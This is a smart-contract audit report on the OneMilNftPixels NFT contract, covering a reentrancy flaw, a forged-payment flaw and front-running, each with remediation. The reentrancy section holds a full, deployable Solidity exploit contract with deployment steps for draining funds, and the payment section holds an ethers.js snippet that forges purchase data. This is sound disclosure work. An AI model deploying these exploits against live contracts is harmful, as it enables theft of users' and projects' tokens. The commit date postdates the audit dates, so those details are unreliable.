Rootstock Labs

One Mil NFT Pixels Code Audit

SECURITY ASSESSMENT REPORT

July 2024

Executive Summary

OneMilNftPixels is an ERC-721 NFT project hosted on the Rootstock Mainnet. It enables users to purchase an NFT pixel from a limited number of pixels for a certain fee paid in accepted ERC1363 token.

In **June 2024**, the One Mil NFT Pixels CodeAudit project was reviewed by the Rootstock Security Team before its launch to production. The security audit focused on the new NFT contract that's implemented in **OneMilNftPixels.sol** contract. There were **two critical** and **one low** severity issues discovered during the security audit.

Overall, the code readability of the code base is good. Most of the relevant functionality inside the codebase contains comments which made the security audit easier. The NFT contract uses the standard libraries from OpenZeppelin to implement the access control and ERC721 logic therefore is secured against trivial attacks.

Project Dashboard

Application Summary

Name	One Mil NFT Pixels CodeAudit
Version (Commit Hash)	932dee68eb546812cc25caca7832be23c91675c8
Language	Solidity, Typescript

Engagement Summary

Dates	01.06.2024 - 07.06.2024
Reviewers	Ulas Acikel
Level of effort	5 working days

Vulnerability Summary

Total Critical-Severity Issues	2	❚❚
Total High-Severity Issues	0	
Total Medium-Severity Issues	0	
Total Low-Severity Issues	1	❚
Total Informational-Severity Issues	0	
Total	3	

Code Maturity Evaluation

Category Name	Description
Access Control	**Strong.** There were no security issues found in the access control mechanisms. OpenZeppelin's Ownable library is used for implementing ownership in the contracts.
Arithmetic	**Strong.** There were no security issues found in arithmetic operations. The contracts are specified to be compiled with Solidity compiler >= 0.8.0 which ensures arithmetic operations revert upon underflow and overflow by default.
Specification	**Strong.** Functions in the codebase are commented in detail and contain sufficient information about their use cases.
Testing	**Strong.** Codebase contains sufficient automated test cases. Most of the critical functionalities are thoroughly tested.

Goals

The focus of the audit was to verify that the smart contract system is secure, resilient and working according to its specifications. The audit activities can be grouped in the following three categories:

- **Security.** Identifying security related issues within each contract and within the system of contracts.
- **Sound Architecture.** Evaluation of the architecture of this system through the lens of established smart contract best practices and general software best practices. ● **Code Correctness and Quality.** A full review of the contract source code. The primary areas of focus include:
    - ○ Correctness
    - ○ Readability
    - ○ Sections of code with high complexity
    - ○ Quantity and quality of test coverage

Coverage

The testing was conducted on the **master** branch of the **one-mil-nft-pixels** repository with commit id 932dee68eb546812cc25caca7832be23c91675c8:

```
commit 932dee68eb546812cc25caca7832be23c91675c8 (origin/master, master)
Author: Aleksandr Shenshin <shenshin@users.noreply.github.com>
Date: Tue Aug 27 10:22:40 2024 +0200

    Merge pull request #18 from shenshin/feat/omp-freeze

    feat: one mil nft pixels finalisation prior to code freeze for audit, approved by @bguiz
```

The scope of the assessment was limited to the following Solidity source files with their corresponding sha256sum hash:

```
355b988bb51f7e6202cf9576969ad676e9069f3ae3017816b63780739286bd5c ./PurrToken.sol
4216f7076a58b3743cf8664d740d4e5007ecbb6231dc5a8ee6a79a63cbffc269 ./OneMilNftPixels.sol
66ff18c9831350ec46fc3ed025059089cf7587086f0b3f51de69c5e35d7d822d ./LunaToken.sol
85fd32994dd1c30c0d6d735bf9eeb3cfd8f310433e0e17de5672d8ddf79dddd0 ./MeowToken.sol
```

Lines of Code

Language	files	blank	comment	code
Javascript	10	107	48	744
Solidity	4	42	82	166
JSON	1	0	0	32
SUM:	15	149	130	942

Recommendations Summary

This section aggregates all the recommendations made during the engagement. Short-term recommendations address the immediate causes of issues. Long-term recommendations pertain to the development process and long-term design goals.

Short-term

1. Implement the security fixes described in the findings.

Long-term

1. Extend the test suite to cover 100% of the code, and to include testing to ensure undesirable behavior.

Vulnerability Summary

Following is a list of the vulnerabilities found, with their severity and current status:

ID	Severity		Status
OMP-001		Critical	Open
OMP-002		Critical	Open
OMP-003		Low	Open

Findings

OMP-001 Reentrancy in withdrawCompensation function

ID	Severity	Status
OMP-001	Critical	Open

Affected Assets

/contracts/OneMilNftPixels.sol:88

Description

The **withdrawCompensation** function allows users to withdraw compensation funds to their wallets. Inside the function, this is implemented by calling the **transferAndCall** function of the accepted ERC1363 token.

```
function withdrawCompensation(IERC1363Receiver to) public{
  uint256 balance = IERC1363(acceptedToken).balanceOf(address(this));
  uint256 compensationBalance = compensationBalances[_msgSender()];

  // check if there is sufficient funds in the NFT contract and msg.sender's compensation balance
  require(balance >= compensationBalance, "Insufficient balance!");
  require(compensationBalance > 0, "Insufficient compensation balance!");


  // transfer msg.sender's compensation LUNAs to the address specified in `to`.
  bool success = IERC1363(acceptedToken).transferAndCall(address(to), compensationBalance);
  require(success, "withdraw failed");

  compensationBalances[_msgSender()] = 0;

  emit WithdrawCompensation(_msgSender(),address(to));
}
```

After **transferAndCall** function is called, ERC1363 token contract do the following:

1. Execute the transfer (i.e., swap balances and reduce allowances if appropriate)
2. Call the recipient of tokens – in our case, the attacker's contract.

In the second step, an external call will be made to the attacker controlled contract. Basically, the attacker can abuse this behavior to take over the control flow and reenter the **withdrawCompensation** function repeatedly. Since the user's balance is not set to 0 until the very end of the function, the second (and subsequent) invocations will still succeed and will withdraw the balance over and over again.

Proof of Concept

1. Copy the following PoC exploit smart contract code and deploy it.

2. Note that while deploying the contract, constructor expects two arguments: **LunaToken** contract address and **OneMilNftPixels** contract address respectively.

3. Transfer LunaTokens (50 should be enough) to the **Exploit** contract so that it has sufficient balance to purchase NFTs.

4. Make sure **OneMilNftPixels** contract has LunaTokens.

5. Call the **exploit** function from the **Exploit** contract.

6. Check **OneMilNftPixels** contract's LunaToken balance and confirm it's reduced to 0.

7. Check **Exploit** contract's LunaToken balance and confirm it contains more tokens than its initial balance.

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0 <0.9.0;

import "erc-payable-token/contracts/token/ERC1363/IERC1363.sol";
import "erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IOneMilNftPixels {
    function withdrawCompensation(IERC1363Receiver to) external;
    function buy(
      uint24 id,
      bytes3 colour,
      address sender,
      uint256 amount
   ) external;
}
contract Exploit is IERC1363Receiver, Ownable, IERC721Receiver {

IERC1363 public acceptedToken;
address public vulnerableContract;
uint256 private _compensation;

bytes4 private constant FUNC_SELECTOR = IOneMilNftPixels.buy.selector;
```

```
event ExploitSuccess();

modifier acceptedTokenOnly() {
    require(msg.sender == address(acceptedToken), "ERC1363Payable: accepts purchases in Lunas only");
    _;
}

constructor(IERC1363 _acceptedToken, address _vulnerableContract)
  {
    require(address(_acceptedToken) != address(0), "ERC1363Payable: acceptedToken is zero address");
    acceptedToken = _acceptedToken;
    vulnerableContract = _vulnerableContract;
    _compensation = 10;
  }

function onTransferReceived(address operator, address sender, uint256 amount, bytes calldata data)
   acceptedTokenOnly external override (IERC1363Receiver) returns (bytes4) {
    require(vulnerableContract == sender, "Unrecognized sender.");
    uint256 balance = IERC1363(acceptedToken).balanceOf(vulnerableContract);
    if (balance >= _compensation) {
        IOneMilNftPixels(sender).withdrawCompensation(IERC1363Receiver(this));
    }
    return IERC1363Receiver(this).onTransferReceived.selector;
  }

function exploit(uint24 id,
      bytes3 colour,
      address sender,
      uint256 amount) onlyOwner external{
      bytes memory msgdata = abi.encodeWithSelector(FUNC_SELECTOR,id,colour,sender,amount); bool
      result = IERC1363(acceptedToken).transferAndCall(vulnerableContract,amount, msgdata);

      uint256 newAmount = amount+25;
      msgdata = abi.encodeWithSelector(FUNC_SELECTOR,id,colour,sender,newAmount);
      bool result2 = IERC1363(acceptedToken).transferAndCall(vulnerableContract,newAmount, msgdata);

      IOneMilNftPixels(vulnerableContract).withdrawCompensation(IERC1363Receiver(this));
      emit ExploitSuccess();
  }

  function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) override external view returns (bytes4){
         return IERC721Receiver(this).onERC721Received.selector;
    }

}
```

Observations

There aren't any prerequisites for this attack. Any attacker with a small LunaToken balance can exploit this vulnerability to steal funds from the **OneMilNftPixels** contract.

Remediation

We recommend finishing all internal work (ie. state changes) first, and only then calling the external functions. This can be achieved by moving the `compensationBalances[_msgSender()] = 0;` line before the **transferAndCall** function invocation. So the final Solidity code should be:

```
function withdrawCompensation(IERC1363Receiver to) public{
   uint256 balance = IERC1363(acceptedToken).balanceOf(address(this));
   uint256 compensationBalance = compensationBalances[_msgSender()];

   // check if there are sufficient funds in the NFT contract and msg.sender's compensation balance
   require(balance >= compensationBalance, "Insufficient balance!");
   require(compensationBalance > 0, "Insufficient compensation balance!");

   compensationBalances[_msgSender()] = 0;
   // transfer msg.sender's compensation LUNAs to the address specified in `to`.
   bool success = IERC1363(acceptedToken).transferAndCall(address(to), compensationBalance);
   require(success, "withdraw failed");
   emit WithdrawCompensation(_msgSender(),address(to));
 }
```

References

- https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/
- https://swcregistry.io/docs/SWC-107

OMP-002 NFTs can be purchased for free

ID	Severity	Status
OMP-002	Critical	Open

Affected Assets

/contracts/OneMilNftPixels.sol:246

Description

On transferring ERC1363 tokens, **OneMilNftPixels** contract calls the **_transferReceived** internal function to process the transaction details. Basically, this function handles the actual purchase logic. Depending on the arguments supplied by the message sender in the message data, the function will further call the **buy** or **update** functions.

In the message data, the user provides the id and the color of the pixel that they want to purchase along with the sender address and the amount of tokens transferred. The relevant code piece can be seen in the highlighted line below:

```
function _transferReceived(
       address sender,
       uint256 amount,
       bytes memory data
   ) private {
       bytes4 buySelector = this.buy.selector;
       bytes4 updateSelector = this.update.selector;

       (bytes4 selector, uint24 pixelId, bytes3 colour,address sender,uint256 amount) =
         callDataDecode(data);

       require(
         selector == buySelector || selector == updateSelector,
         'Call of an unknown function'
       );

       if (selector == buySelector) {
         buy(pixelId, colour, sender, amount);
       } else if (selector == updateSelector) {
         update(pixelId, colour, sender, amount);
       }
```

```
}
```

The amount of tokens transferred and the sender address are taken directly from the user supplied data without any further validation. This allows attackers to supply arbitrary data instead of the actual values of those arguments. For example, an attacker can transfer just 1 LunaToken to the NFT contract. Normally, this would not be enough to buy a pixel, but in the message data, the amount can be set to 100, regardless of the actual amount of coins transferred.

This would allow attackers to purchase all the NFTs by spending a very small amount of actual tokens.

Proof of Concept

Using the **ethers.js** library, an attacker can craft a malicious **callData** and attach it to the ERC1363 transfer call. You can find the sample code for doing that below:

```
const callData = oneMilNftPixels.interface.encodeFunctionData('buy', [
   id,
   colour,
   attackerAddress,
   fakeTokenAmount,
]);
const funcSignature = 'transferAndCall(address,uint256,bytes)';
token
.connect(account)
[funcSignature](oneMilNftPixels.address, 1, callData);
```

Notice that **attackerAddress** and **fakeTokenAmount** can be supplied by the attacker with arbitrary values. The actual amount of tokens transferred is set to 1.

Remediation

The amount of tokens transferred and the sender address values shouldn't be taken from the user input. Since the actual amount of tokens transferred and the sender address are available in **onTransferReceived** function, they should be used instead.

OMP-003 Frontrunners can deny purchase of NFTs

ID	Severity	Status
OMP-003	Low	Open

Affected Assets

/contracts/OneMilNftPixels.sol:115

Description

Any user on the RSK network has the ability to watch for new transactions being sent to the network. When the attacker sees an NFT pixel purchase transaction, they can create a similar transaction that would purchase the same NFT pixel with the same amount of tokens. They then increase their gas fees to ensure that their order gets executed first. The attacker's transaction executes, purchasing the NFT and raising the price of the NFT pixel, and then the victim transaction executes which will fail because of the increased price.

Remediation

There are front-running mitigations where there is a maximum gas value, so a user using the maximum gas value cannot be front-run by an attacker increasing the gas for their transaction. This approach might be worth looking into.

References

- https://consensys.github.io/smart-contract-best-practices/attacks/frontrunning/

Appendix

Vulnerability Classifications

Severity Categories

Severity	Description
Critical	Vulnerabilities where the exploitation is likely to result in a root-level compromise of any of the project components. Exploitation is straightforward in the sense that the attacker does not need any special authentication credentials or additional knowledge or persuade a target user into performing any special functions.
High	The issue affects numerous users and has serious reputational, legal or financial implications.
Medium	Individual users' information is at risk; exploitation could pose reputational, legal or moderate financial risk.
Low	The risk is relatively small or not a risk considered important.
Informational	The issue does not pose an immediate risk but is relevant to security best practices.

Code Maturity Classifications

Code Maturity Classes

Category Name	Description
Access Controls	Related to the authentication and authorization components.
Arithmetic	Related to the proper use of mathematical operations and semantics.
Centralization	Related to the existence of a single point of failure.
Upgradeability	Related to contract upgradeability
Function Composition	Related to separation of the logic into functions with clear purposes.

Key Management	Related to the existence of proper procedures for key generation, distribution, and access.
Monitoring	Related to the use of events and monitoring procedures.
Specification	Related to the expected codebase documentation.
Testing	Related to the use of testing techniques and code coverage.

Rating Criteria

Rating	**Description**
Strong	No concerns were found.
Satisfactory	Only a few low severity issues.
Moderate	Some issues or medium severity issues.
Weak	Multiple issues or high/critical severity issues.
Missing	Missing component.